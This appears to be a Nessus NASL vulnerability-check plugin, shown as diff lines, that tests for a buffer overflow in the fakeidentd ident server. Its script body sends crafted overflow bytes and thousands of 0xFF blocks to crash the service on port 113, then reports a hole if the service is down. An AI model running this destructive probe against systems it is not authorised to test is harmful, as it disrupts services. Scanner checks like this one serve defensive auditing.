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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- # It's largely based on lameident3-exp.c by
- # sloth@nopninjas.com - http://www.nopninjas.com
- #
- # This problem was originally found by Jedi/Sector One (j@pureftpd.org)
- #
- # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
- # Erik Anderson <eanders@carmichaelsecurity.com>
- # Added BugtraqID and additional information reference link
- #
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(11054);
- script_bugtraq_id(5351);
-
- script_version ("$Revision: 1.4 $");
-
- name["english"] = "fakeidentd overflow";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- fakeidentd is a minimal identd server that always replies to
- requests with a fixed username.
-
- There is a buffer overflow in some versions of this program
- that allow an attacker to execute arbitrary code on this server.
-
- Solution : disable this service if you do not use it, or upgrade
- (see http://software.freshmeat.net/projects/fakeidentd/)
-
- Additional Info : http://online.securityfocus.com/archive/1/284953
-
- Risk factor : High";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "crashes the remote identd";
- summary["francais"] = "plantes le identd distant";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DESTRUCTIVE_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2002 Renaud Deraison");
- family["english"] = "Gain root remotely";
- family["francais"] = "Passer root α distance";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes");
- script_require_ports("Services/auth", 113);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- port = get_kb_item("Services/auth");
- if(!port) port = 113;
- if(!get_port_state(port))exit(0);
-
- soc = open_sock_tcp(port);
- if(soc)
- {
- send(socket:soc, data:string(crap(32), "\r\n"));
- r = recv(socket:soc, length:4096);
- close(soc);
- if(!r)exit(0);
- }
- else exit(0);
-
-
- soc = open_sock_tcp(port);
- if(soc)
- {
-
- #
- # Due to the nature of the bug, we can't just send crap and hope
- # the remote service will crash....
- #
- #
- send(socket:soc, data:crap(19));
- deux = raw_string(0x41, 0xEB, 0xEF, 0xFA, 0xB7);
- send(socket:soc, data:deux);
- data = crap(data:raw_string(0xFF), length:19);
- for(i=0;i<6000;i=i+1)
- {
- send(socket:soc, data:data);
- }
-
- close(soc);
-
-
- soc2 = open_sock_tcp(port);
- send(socket:soc2, data:crap(19));
- deux = raw_string(0x41, 0x5B, 0xFF, 0xFF, 0xFF);
- send(socket:soc2, data:deux);
- trois = raw_string(0xFF, 0xFF, 0xFF, 0xFF);
- send(socket:soc2, data:trois);
-
- close(soc2);
-
- soc2 = open_sock_tcp(port);
- send(socket:soc2, data:string("1234, 1234\n"));
- r = recv(socket:soc2, length:4096);
- close(soc2);
-
- soc3 = open_sock_tcp(port);
- if(!soc3)security_hole(port);
-
- }
-